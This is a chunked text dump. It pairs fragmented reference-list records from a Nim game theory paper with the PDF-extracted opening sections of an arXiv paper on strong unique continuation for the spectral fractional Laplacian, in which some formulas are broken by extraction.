+page_content='  Acknowledgements  This work was partially supported by JSPS KAKENHI Grant Numbers  JP21K12191 and JP22K13953.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  References  [1] Abuku, T.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
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+page_content=' (In Japanese)  11  [2] Abuku, T.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' and Suetsugu, K.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
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+page_content='J.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
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+page_content=' Lessons in Play: An  Introduction to Combinatorial Game Theory (2nd ed.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' ), A K Peters/CRC  Press.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' (2019)  [4] Bouton, C.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='L.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' : Nim, a Game with a Complete Mathematical Theory,  Annals of Mathematics 3, 35-39 (1902).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  [5] Sakai, K.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' :  Alice’s Adventure in Puzzle-Land Vol.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='4, Nikkei Science  (2021).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' (In Japanese)  [6] Shinoda, M.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' : Generalizations of Delete Nim Game and determining the  winner, The Special Interest Group Technical Reports of IPSJ Vol.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2022-  GI-47, No.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' 1-8 (2022).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' (In Japanese)  [7] Siegel, A.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='N.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' : Combinatorial Game Theory, American Mathematical So-  ciety (2013).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  [8] Stankova Z.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' and Rike T.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' (eds.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=') : A Decade of the Berkeley Math Circle  Vol.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1, Mathematical Circles Library, 159 (2008).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  12' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}

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+arXiv:2301.11677v1  [math.AP]  27 Jan 2023
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+FOR THE SPECTRAL FRACTIONAL LAPLACIAN
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Abstract. We investigate unique continuation properties and asymptotic behaviour at bound-
+ary points for solutions to a class of elliptic equations involving the spectral fractional Laplacian.
+An extension procedure leads us to study a degenerate or singular equation on a cylinder, with
+a homogeneous Dirichlet boundary condition on the lateral surface and a non homogeneous
+Neumann condition on the basis. For the extended problem, by an Almgren-type monotonicity
+formula and a blow-up analysis, we classify the local asymptotic profiles at the edge where the
+transition between boundary conditions occurs. Passing to traces, an analogous blow-up result
+and its consequent strong unique continuation property is deduced for the nonlocal fractional
+equation.
+Keywords. Spectral fractional Laplacian; boundary behaviour of solutions; unique continuation;
+monotonicity formula.
+MSC classification. 35R11, 35B40, 31B25.
+1. Introduction and statement of the main results
+In this paper we prove the strong unique continuation property and derive local asymptotics
+from the boundary for the solutions to the following equation
+(1)
+(−∆)su = hu
+on Ω,
+where s ∈ (0, 1), Ω ⊆ RN is a bounded Lipschitz domain with N > 2s, h is a measurable function
+on Ω satisfying suitable summability properties which will be more specifically clarified below (see
+(7)) and (−∆)s is the so-called spectral fractional Laplacian.
+The unique continuation property has been abundantly studied over the years for several prob-
+lems. We recall that a family of functions, including the zero function, satisfies the strong unique
+continuation property if the null function is the only one to have a zero of infinite order.
+Several results are available in the literature about the spectral fractional Laplacian and its
+interpretations. See [1], [18], and references therein for a detailed overview. We mention that
+regularity properties for stationary equations are discussed in [14], while existence and uniqueness
+results for evolution equations governed by the spectral fractional Laplacian are established in [3].
+More closely related to the present paper are the results in [25], where a strong unique continuation
+principle at nodal points is proved for fractional powers of some divergence-type elliptic operators,
+including the case of the spectral fractional Laplacian. The techniques used in [25] are inspired
+by those introduced in [11], which are based on a combination of a monotonicity formula for an
+Almgren-type frequency function and a blow up analysis. This local approach is made possible by
+the extension result [6, Theorem 2.5] due to Caffarelli and Stinga, see also [23].
+The development of a monotonicity formula for the extended problem presents new difficulties
+when dealing with boundary points. Indeed, since the point x0 from which the unique continuation
+is sought after lies on ∂Ω, the geometry of ∂Ω can interfere with the monotonicity argument. In the
+present paper, we face this difficulty by straightening the boundary with a local diffeomorphism
+that transfers the information about the geometry of ∂Ω into a coefficient matrix in the operator,
+Date: January 27, 2023.
+The authors are partially supported by the INDAM-GNAMPA 2022 grant “Questioni di esistenza e unicit`a
+per problemi non locali con potenziali”. Part of this work was carried out while A. De Luca and V. Felli were
+participating in the research program “Geometric Aspects of Nonlinear Partial Differential Equations” at Institut
+Mittag-Leffler in Djursholm, Sweden, in 2022.
+1
+
+2
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+which turns out to be a perturbation of the identity if the boundary is regular enough, see Section
+3. Secondly, a Pohozaev type identity is needed to differentiate the frequency function and to
+develop the monotonicity argument. To this aim, we rely on a more general result contained in
+[12, Proposition 2.3], which is based on a Sobolev-type regularity theory for a class of degenerate
+and singular problems. Furthermore, a blow-up analysis provides a detailed description of the
+asymptotic behaviour of solutions to (1) at x0, giving a complete classification of the order of
+homogeneity of asymptotic profiles, see Theorem 1.2 below. For this purpose, an important role
+is played by an eigenvalue problem on a half-sphere under a symmetry condition, see (19).
+The extension problem corresponding to (1) consists of a degenerate or singular equation on
+the cylinder Ω× (0, +∞), with a homogeneous Dirichlet boundary condition on the lateral surface
+∂Ω × (0, +∞) and a Neumann derivative on the basis Ω × {0} being equal to the right hand side
+of (1), see (17). Therefore, the formulation of the problem in terms of the extension leads us to
+study what happens near a point of the edge at which a transition between boundary conditions
+of a different type takes place. We observe that this situation is quite different from the one
+that occurs in [9], where unique continuation from boundary points is studied for the restricted
+fractional Laplacian; indeed the extension problem corresponding to the case treated in [9] is a
+degenerate or singular problem with mixed conditions that vary on a flat basis rather than on
+an edge. In fact, the analysis carried out in the present paper highlights different asymptotic
+behaviors at the boundary for the two operators, unlike what happens at internal points, where
+the locally equivalent form of the extended problems induces the same blow-up profiles.
+In order to introduce a suitable functional setting and give a weak formulation of (1), we recall
+the definition of the spectral fractional Laplacian, which can be given in terms of the Dirichlet
+eigenvalues of the Laplacian, see e.g. [7], [18] and [1]. From classical spectral theory, the Dirichlet
+eigenvalue problem
+�
+−∆ϕ = µϕ,
+in Ω,
+ϕ = 0,
+on ∂Ω,
+admits an increasing and diverging sequence {µk}k∈N\{0} of positive eigenvalues (repeated accord-
+ing to their multiplicity). Furthermore, there exists an orthonormal basis of L2(Ω) made of the
+corresponding eigenfunctions {ϕk}k∈N\{0}. Every v ∈ L2(Ω) can be expanded with respect to the
+basis {ϕk}k∈N\{0} as
+v =
+∞
+�
+k=1
+(v, ϕk)L2(Ω)ϕk
+in L2(Ω),
+where (v, ϕk)L2(Ω) is the L2-scalar product, i.e. (v1, v2)L2(Ω) =
+�
+Ω v1v2 dx.
+We introduce the functional space
+Hs(Ω) :=
+�
+v ∈ L2(Ω) :
+∞
+�
+k=1
+µs
+k(v, ϕk)2
+L2(Ω) < +∞
+�
+which is a Hilbert space with respect to the scalar product
+(2)
+(v1, v2)Hs(Ω) :=
+∞
+�
+k=0
+µs
+k(v1, ϕk)L2(Ω)(v2, ϕk)L2(Ω),
+v1, v2 ∈ Hs(Ω).
+A more explicit characterization of the space Hs(Ω) is provided by the interpolation theory, see
+[3, Section 3.1.3] and [17]:
+Hs(Ω) = [H1
+0(Ω), L2(Ω)]1−s =
+�
+Hs
+0(Ω),
+if s ∈ (0, 1) \ { 1
+2},
+H1/2
+00 (Ω),
+if s = 1
+2.
+Here, denoting as Hs(Ω) the usual fractional Sobolev space W s,2(Ω), Hs
+0(Ω) is the closure of
+C∞
+c (Ω) in Hs(Ω), and
+H1/2
+00 (Ω) :=
+�
+u ∈ H
+1
+2
+0 (Ω) :
+�
+Ω
+u2(x)
+d(x, ∂Ω) dx < +∞
+�
+,
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+3
+where d(x, ∂Ω) := inf{|x − y| : y ∈ ∂Ω}. We recall that Hs(Ω) = Hs
+0(Ω) if s ∈ (0, 1
+2], see [17].
+Moreover, if s ̸= 1
+2, the trivial extension by 0 outside Ω defines a linear and continuous operator
+from Hs
+0(Ω) into Hs(RN), see [5, Remark 2.5 and Proposition B.1]. On the other hand, the trivial
+extension defines a linear and continuous operator from H1/2
+00 (Ω) into H1/2(RN), as one can easily
+deduce from estimate (B.2) in [5]. Then
+ι : Hs(Ω) → Hs(RN),
+(3)
+v �→ ˜v =
+�
+v,
+in Ω,
+0,
+in RN \ Ω,
+is a linear and continuous operator.
+It is easy to verify that, if v ∈ Hs(Ω), then the series �∞
+k=1 µs
+k(v, ϕk)L2(Ω)ϕk converges in
+the dual space (Hs(Ω))∗ to some F ∈ (Hs(Ω))∗ such that (Hs(Ω))∗⟨F, ϕk⟩Hs(Ω) = µs
+k(v, ϕk)L2(Ω).
+Hence, for every v ∈ Hs(Ω), we can define its spectral fractional Laplacian as
+(4)
+(−∆)sv =
+∞
+�
+k=1
+µs
+k(v, ϕk)L2(Ω)ϕk ∈ (Hs(Ω))∗.
+Actually, the spectral fractional Laplacian is the Riesz isomorphism between Hs(Ω) endowed with
+the scalar product (2) and its dual (Hs(Ω))∗, i.e.
+(5)
+(Hs(Ω))∗⟨(−∆)sv1, v2⟩Hs(Ω) = (v1, v2)Hs(Ω)
+for all v1, v2 ∈ Hs(Ω).
+The spectral fractional Laplacian defined in (4) is a different operator from the usual fractional
+Laplacian defined by the Fourier transformation as
+(6)
+F((−∆)sv)(ξ) := |ξ|2s�v(ξ)
+for any v ∈ S(RN). Indeed, the spectral fractional Laplacian depends on the domain Ω and it
+is a global operator in Ω, while the fractional Laplacian is a global operator on the whole RN.
+Moreover, the eigenfunctions of the spectral fractional Laplacian coincide with the eigenfunctions
+of the Dirichlet Laplacian, hence they are smooth up to the boundary if Ω is sufficiently regular;
+on the other hand, the eigenfunctions of the restricted fractional Laplacian, defined by restricting
+the operator in (6) to act only on functions vanishing outside Ω, are only H¨older continuous, see
+[21].
+Within the functional setting introduced above, we can give the notion of weak solution to (1).
+To this purpose, we assume that
+(7)
+h ∈ W 1, N
+2s +ε(Ω)
+for some ε ∈ (0, 1). We note that it is not restrictive to assume ε small. In view of (5), we say
+that a function u ∈ Hs(Ω) is a weak solution to (1) if
+(8)
+(u, φ)Hs(Ω) =
+�
+Ω
+h(x)u(x)φ(x) dx
+for any φ ∈ C∞
+c (Ω).
+The right hand side in (8) is finite in view of (7), the H¨older’s inequality, and the following
+fractional Sobolev inequality
+∥v∥L2∗s (Ω) ≤ KN,s ∥v∥Hs(Ω)
+for any v ∈ Hs
+0(Ω),
+where
+(9)
+2∗
+s :=
+2N
+N − 2s,
+and KN,s > 0 is a positive constant depending only on N and s, see e.g. [10, Theorem 6.5] and
+[5, Remark 2.5 and Proposition B.1].
+In order to establish a unique continuation property at a fixed point x0 ∈ ∂Ω, we need to
+assume some regularity on the boundary of Ω near x0; more precisely, we assume that there exist
+a radius R > 0 and a function g such that
+(10)
+g ∈ C1,1(RN−1, R)
+
+4
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+and, up to rigid motions, letting x = (x′, xN) ∈ RN−1 × R,
+∂Ω ∩ B′
+R(x0) = {(x′, xN) ∈ B′
+R(x0) : xN = g(x′)},
+(11)
+Ω ∩ B′
+R(x0) = {(x′, xN) ∈ B′
+R(x0) : xN < g(x′)},
+(12)
+where, for any r > 0 and x ∈ RN,
+(13)
+B′
+r(x) := {y ∈ RN : |y − x| < r}.
+The spectral fractional Laplacian defined in (4) turns out to be a nonlocal operator on Ω. As
+we intend to use an approach based on local doubling inequalities, which are deduced from an
+Almgren-type monotonicity formula in the spirit of [13], it is quite natural to deal with the local
+realization of the spectral fractional Laplacian.
+This is obtained by the extension procedure
+described in [6] (see also [23] and [7]) which transforms (1) into a singular or degenerate problem
+on a cylinder contained in a N + 1-dimensional space.
+More precisely, we consider the half-space RN+1
++
+:= RN ×(0, ∞), whose total variable is denoted
+as z = (x, t) ∈ RN ×[0, ∞). For any open set E ⊆ RN ×(0, ∞), let H1(E, t1−2s) be the completion
+of C∞
+c (E) with respect to the norm
+∥φ∥H1(E,t1−2s) :=
+��
+E
+t1−2s(φ2 + |∇φ|2) dz
+� 1
+2
+.
+By [16, Theorem 11.11, Theorem 11.2, 11.12 Remarks(iii)] and the extension theorems for weighted
+Sobolev spaces with weights in the Muckenhoupt’s A2 class proved in [8], for any open Lipschitz
+set E ⊆ RN × (0, ∞), the space H1(E, t1−2s) can be characterized as
+H1(E, t1−2s) =
+�
+v ∈ W 1,1
+loc (E) :
+�
+E
+t1−2s(v2 + |∇v|2) dz < +∞
+�
+.
+We define
+(14)
+CΩ := Ω × (0, +∞),
+∂LCΩ := ∂Ω × [0, +∞),
+and
+H1
+0,L(CΩ, t1−2s) := {φ ∈ C∞
+c (CΩ) : φ = 0 on ∂LCΩ}
+∥·∥H1(CΩ,t1−2s),
+i.e. H1
+0,L(CΩ, t1−2s) is the closure in H1(CΩ, t1−2s) of {φ ∈ C∞
+c (CΩ) : φ = 0 on ∂LCΩ}. Furthermore
+there exists a linear and continuous trace operator
+(15)
+TrΩ : H1
+0,L(CΩ, t1−2s) → Hs(Ω)
+which is also onto (see [7, Proposition 2.1]).
+Moreover, in [7] it is observed that, for every
+v ∈ Hs(Ω), the minimization problem
+min
+w∈H1
+0,L(CΩ,t1−2s)
+TrΩ(w)=v
+��
+CΩ
+t1−2s|∇w(x, t)|2 dx dt
+�
+has a unique minimizer H(v) = V ∈ H1
+0,L(CΩ, t1−2s) which solves
+(16)
+
+
+
+
+
+
+
+
+
+div(t1−2s∇V ) = 0,
+in CΩ,
+TrΩ(V ) = v,
+on Ω × {0},
+V = 0,
+on ∂Ω × [0, +∞),
+− limt→0+ t1−2s ∂V
+∂t = κs,N(−∆)sv,
+on Ω × {0},
+where κs,N > 0 is a positive constant depending only on N and s.
+Equation (16) has to be
+interpreted in a weak sense, that is
+�
+CΩ
+t1−2s∇V · ∇φ dz = κs,N(v, TrΩ(φ))Hs(Ω)
+for all φ ∈ H1
+0,L(CΩ, t1−2s),
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+5
+in view of (5). Hence, if u ∈ Hs(Ω) solves (1), then its extension H(u) = U ∈ H1
+0,L(CΩ, t1−2s)
+weakly solves
+(17)
+
+
+
+
+
+
+
+
+
+div(t1−2s∇U) = 0,
+in CΩ,
+TrΩ(U) = u,
+on Ω × {0},
+U = 0,
+on ∂Ω × [0, +∞),
+− limt→0+ t1−2s ∂U
+∂t = κs,Nhu,
+on Ω × {0},
+according to (16), namely
+(18)
+�
+CΩ
+t1−2s∇U · ∇φ dz = κs,N
+�
+Ω
+hu TrΩ(φ) dx
+for all φ ∈ H1
+0,L(CΩ, t1−2s).
+The asymptotic behavior at x0 ∈ ∂Ω of any solution U of (17), and consequently of any solution
+u of (1), turns out to be related to the eigenvalues of the following problem
+(19)
+
+
+
+
+
+
+
+
+
+− divS(θ1−2s
+N+1 ∇SY ) = µ θ1−2s
+N+1 Y,
+on S+
+limθN+1→0+ θ1−2s
+N+1 ∇SY · ν = 0,
+on S′,
+Y ∈ H1
+odd(S+, θ1−2s
+N+1 ),
+where
+S := {θ = (θ′, θN, θN+1) ∈ RN+1 : |θ′|2 + θ2
+N + θ2
+N+1 = 1},
+S+ := {θ = (θ′, θN, θN+1) ∈ S : θN+1 > 0},
+S′ := ∂S+ = {θ = (θ′, θN, θN+1) ∈ S : θN+1 = 0},
+and ν is the outer normal vector to S+ on S′, that is ν = −(0, . . . , 0, 1). We consider the weighted
+space
+L2(S+, θ1−2s
+N+1 ) :=
+�
+Ψ : S+ → R measurable :
+�
+S+ θ1−2s
+N+1 Ψ2 dS < +∞
+�
+,
+where dS denotes the volume element on N-dimensional spheres. In order to introduce the space
+H1
+odd(S+, θ1−2s
+N+1 ) in which problem (19) is formulated, we first denote by H1(S+, θ1−2s
+N+1 ) the com-
+pletion of C∞(S+) with respect to the norm
+∥φ∥H1(S+,θ1−2s
+N+1 ) :=
+��
+S+ θ1−2s
+N+1 (φ2 + |∇Sφ|2) dS
+�1/2
+.
+Then we define
+(20)
+H1
+odd(S+, θ1−2s
+N+1) := {Ψ ∈ H1(S+, θ1−2s
+N+1) : Ψ(θ′, θN, θN+1) = −Ψ(θ′, −θN, θN+1)}.
+It is easy to verify that H1
+odd(S+, θ1−2s
+N+1 ) is a closed subspace of H1(S+, θ1−2s
+N+1 ).
+A function Y ∈ H1
+odd(S+, θ1−2s
+N+1 ) is an eigenfunction of (19) if Y ̸≡ 0 and
+(21)
+�
+S+ θ1−2s
+N+1 ∇SY · ∇SΨ dS = µ
+�
+S+ θ1−2s
+N+1Y Ψ dS
+for all Ψ ∈ H1
+odd(S+, θ1−2s
+N+1 ).
+By classical spectral theory, the set of the eigenvalues of problem (19) is an increasing and
+diverging sequence of positive real numbers {µm}m∈N\{0}. In Appendix A we explicitly determine
+the sequence {µm}m∈N\{0}, obtaining that, for all m ∈ N \ {0},
+(22)
+µm =
+�
+m2 + m(N − 2s),
+if N > 1,
+(2m − 1)2 + (2m − 1)(N − 2s),
+if N = 1.
+
+6
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Let, for future reference,
+Vm be the eigenspace of problem (19) associated to the eigenvalue µm,
+(23)
+Mm be the dimension of Vm,
+(24)
+{Ym,k : m ∈ N \ {0} and k ∈ {1, . . ., Mm}} be an orthonormal basis of L2(S+, θ1−2s
+N+1 )
+(25)
+such that {Ym,k : k = 1, . . . , Mm} is a basis of Vm.
+Remark 1.1. Let Y be an eigenfunction of (19) associated to the eigenvalue m2 + m(N − 2s).
+Then Y can not vanish identically on S′.
+Indeed, if Y ≡ 0 on S′, we would have that V (rθ) := rmY (θ) would solve div(t1−2s∇V ) = 0
+on RN+1
++
+, satisfying both Neumann and Dirichlet boundary condition on RN × {0}. This would
+contradict the unique continuation principle for elliptic equations with weights in the Muckenhoupt
+A2 class, see [13], [24], and [20, Proposition 2.2].
+The main result of the present paper is a complete classification of asymptotic blow-up profiles
+at a point x0 ∈ ∂Ω for solutions of (16) and, in turn, for the corresponding solutions of (1).
+Theorem 1.2. Let N > 2s and Ω ⊂ RN be a bounded Lipschitz domain.
+Let x0 ∈ ∂Ω and
+assume that there exist R > 0 and a function g satisfying (10), (11), and (12). Let u be a non
+trivial solution of (1) in the sense of (8), with h satisfying (7). Then there exists m0 ∈ N \ {0}
+(which is odd in the case N = 1) and an eigenfunction Y of (19) associated to the eigenvalue
+m2
+0 + m0(N − 2s), such that
+λ−m0u(λx + x0) → |x|m0 �Y
+� x
+|x|, 0
+�
+as λ → 0+
+in Hs(B′
+1),
+where B′
+1 := B′
+1(0) has been defined in (13), u is trivially extended to zero outside Ω as in (3), and
+(26)
+�Y (θ′, θN, θN+1) =
+�
+Y (θ′, θN, θN+1),
+if θN < 0,
+0,
+if θN ≥ 0.
+Unlike the analogous result for the restricted fractional Laplacian established in [9], the order
+of homogeneity of limit profiles does not depend on s and it is always an integer.
+This is a
+consequence of the regularity of the eigenfunctions of (19), see Appendix A for further details. In
+particular, the eigenfunctions of (19), after an even reflection through the equator θN+1 = 0, turn
+out to be smooth thanks to [22, Theorem 1.1]; therefore they are much more regular than the
+solutions of the corresponding problem on the half-sphere appearing in [9] and presenting mixed
+boundary conditions which are responsible for a lower regularity.
+Theorem 1.2 is proved by passing to the trace in the following blow-up result for solutions of
+the extended problem (17).
+Theorem 1.3. Let N > 2s and Ω ⊂ RN be a bounded Lipschitz domain. Let x0 ∈ ∂Ω and assume
+that there exist R > 0 and a function g satisfying (10), (11), and (12). Let U be a non trivial
+solution to (17) in the sense of (18), with h satisfying (7). Then there exist m0 ∈ N\{0} (which is
+odd in the case N = 1) and eigenfunction Y of (19), associated to the eigenvalue m2
+0 +m0(N −2s),
+such that, letting z0 = (x0, 0),
+(27)
+λ−m0U(λz + z0) → |z|m0 �Y
+� z
+|z|
+�
+as λ → 0+
+in H1(B+
+1 , t1−2s),
+where B+
+1 = {z = (x, t) ∈ RN × (0, +∞) : |z| < 1} and U is trivially extended to zero outside CΩ.
+In Theorem 6.1 a more precise characterization of the function �Y appearing in (26) and (27) is
+given, by writing it as a linear combination of the eigenfunctions Ym0,k with coefficients computed
+in (138).
+From Remark 1.1, Theorem 1.2 and Theorem 1.3 we deduce the following unique continuation
+principles.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+7
+Corollary 1.4. Let N > 2s and Ω ⊂ RN be a bounded Lipschitz domain. Let x0 ∈ ∂Ω and
+assume that there exist R > 0 and a function g satisfying (10), (11), and (12). Let u be a solution
+to (1) in the sense of (8) and U be a solution to (17) in the sense of (18), with h satisfying (7).
+(i) If u(x) = O
+�
+|x − x0|k�
+as x → x0 for any k ∈ N, then u ≡ 0 in Ω.
+(ii) If U(z) = O
+�
+|z − (x0, 0)|k�
+as z → (x0, 0) for any k ∈ N, then U ≡ 0 on CΩ.
+The paper is organized as follows.
+In Section 2 we fix some notation used throughout the
+paper and recall some preliminary results concerning functional inequalities and trace operators.
+In Section 3 we apply the local diffeomorphism introduced in [2], see also [9, Section 2], to write
+an equivalent formulation of problem (17) on a domain with a straightened lateral boundary
+in a neighbourhood of x0, see (39). In Section 4 we study the Almgren-type frequency function
+associated to the auxiliary problem (39) and prove its boundedness, on which the blow-up analysis
+developed in Section 5 is based. Finally in Section 6 we prove our main results and in Appendix
+A we compute the eigenvalues of problem (19).
+2. Notations and preliminaries
+In this section we present some notation used throughout the paper and prove some preliminary
+results concerning functional inequalities and trace operators.
+For every r > 0, let
+B+
+r := {z ∈ RN+1
++
+: |z| < r},
+S+
+r := {z ∈ RN+1
++
+: |z| = r},
+B′
+r := {x ∈ RN : |x| < r},
+S′
+r := {x ∈ RN : |x| = r}.
+For every r > 0 we define the space
+H1
+0,S+
+r (B+
+r , t1−2s) := {φ ∈ C∞(B+
+r ) : φ = 0 in a neighbourhood of S+
+r }
+∥·∥H1(B+
+r ,t1−2s),
+as the closure in H1(B+
+r , t1−2s) of the set of all functions in C∞(B+
+r ) vanishing in a neighbourhood
+of S+
+r .
+Remark 2.1. Since B+
+r ⊂ B′
+r × (0, +∞), the trivial extension to 0 is a linear and continuous
+operator from H1
+0,S+
+r (B+
+r , t1−2s) to H1
+0,L(CB′r, t1−2s).
+Proposition 2.2. For every r > 0 there exists a linear and continuous trace operator
+Tr : H1(B+
+r , t1−2s) → Hs(B′
+r)
+such that the restriction of Tr to H1
+0,S+
+r (B+
+r , t1−2s) coincides with the restriction of TrB′r to
+H1
+0,S+
+r (B+
+r , t1−2s). In particular, for every r > 0,
+Tr(H1
+0,S+
+r (B+
+r , t1−2s)) ⊆ Hs(B′
+r).
+Proof. Thanks to Remark 2.1, the operator TrB′r defined in (15) is well defined on H1
+0,S+
+r (B+
+r , t1−2s)
+and TrB′r(H1
+0,S+
+r (B+
+r , t1−2s)) ⊆ Hs(B′
+r). Furthermore, as observed in [15, Proposition 2.1] and
+[4, 17], there exists a linear, continuous trace operator Tr : H1(B+
+r , t1−2s) → Hs(B′
+r). For every
+u ∈ {φ ∈ C∞(B+
+r ) : φ = 0 on a neighbourhood of S+
+r }, we have that Tr(u) = u|B′r×{0} = TrB′r(u).
+By density we conclude that Tr and TrB′r are equal on H1
+0,S+
+r (B+
+r , t1−2s).
+□
+We observe that H1(B+
+r , t1−2s) ⊂ W 1,1(B+
+r ), hence, denoting as Tr1 the classical trace operator
+from W 1,1(B+
+r ) to L1(S+
+r ), we can consider its restriction to H1(B+
+r , t1−2s), still denoted as Tr1;
+from [19, Theorem 19.7] and the Divergence Theorem one can easily deduce that, for any r > 0,
+such a restriction is a linear, continuous trace operator
+(28)
+Tr1 : H1(B+
+r , t1−2s) → L2(S+
+r , t1−2s)
+which is also compact. With a slight abuse of notation, from now on we will simply write v instead
+of Tr1(v) on S+
+r .
+We recall from [11, Lemma 2.6] the following Sobolev-type inequality with boundary terms.
+
+8
+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
+Proposition 2.3. There exists a constant SN,s > 0 such that, for all r > 0 and v ∈ H1(B+
+r , t1−2s),
+(29)
+��
+B′r
+| Tr(v)|2∗
+s dx
+� 2
+2∗s
+≤ SN,s
+��
+B+
+r
+t1−2s|∇v|2 dz + N − 2s
+2r
+�
+S+
+r
+t1−2sv2 dS
+�
+,
+where 2∗
+s is defined as in (9).
+The following inequality will be used to obtain estimates on the Almgren frequency function.
+Proposition 2.4. Let ωN be the N-dimensional Lebesgue measure of the unit ball in RN. For
+any r > 0, v ∈ H1(B+
+r , t1−2s) and f ∈ L
+N
+2s +ε(B′
+r) with ε > 0, we have that
+(30)
+�
+B′r
+f| Tr(v)|2 dx ≤ ηf(r)
+��
+B+
+r
+t1−2s|∇v|2 dz + N − 2s
+2r
+�
+S+
+r
+t1−2sv2 dS
+�
+,
+where
+(31)
+ηf(r) := SN,sω
+4s2ε
+N(N+2sε)
+N
+∥f∥L
+N
+2s +ε(B′r) r
+4s2ε
+N+2sε .
+Proof. By the H¨older inequality
+�
+B′r
+f| Tr(v)|2 dx ≤ ∥Tr(v)∥2
+L2∗s (B′r) ∥f∥L
+N
+2s +ε(B′r) ω
+4s2ε
+N(N+2sε)
+N
+r
+4s2ε
+N+2sε .
+Then (30) follows from (29).
+□
+We also recall the following Hardy-type inequality with boundary terms from [11, Lemma 2.4].
+Proposition 2.5. For any r > 0 and any v ∈ H1(B+
+r , t1−2s)
+(32)
+�N − 2s
+2
+�2 �
+B+
+r
+t1−2s |v(z)|2
+|z|2
+dz ≤
+�
+B+
+r
+t1−2s
+�
+∇v · z
+|z|
+�2
+dz +
+�N − 2s
+2r
+� �
+S+
+r
+t1−2sv2 dS.
+The following Poincar´e-type inequality directly follows from (32):
+for all r > 0 and v ∈
+H1(B+
+r , t1−2s)
+(33)
+�
+B+
+r
+t1−2sv2 dz ≤
+4r
+(N − 2s)2
+�
+r
+�
+B+
+r
+t1−2s|∇v|2 dz + N − 2s
+2
+�
+S+
+r
+t1−2sv2 dS
+�
+.
+Remark 2.6. As a consequence of (33) and by continuity of the trace operator (28), for every
+r > 0 we have that
+��
+S+
+r
+t1−2sv2 dS +
+�
+B+
+r
+t1−2s|∇v|2 dz
+�1/2
+is an equivalent norm on H1(B+
+r , t1−2s).
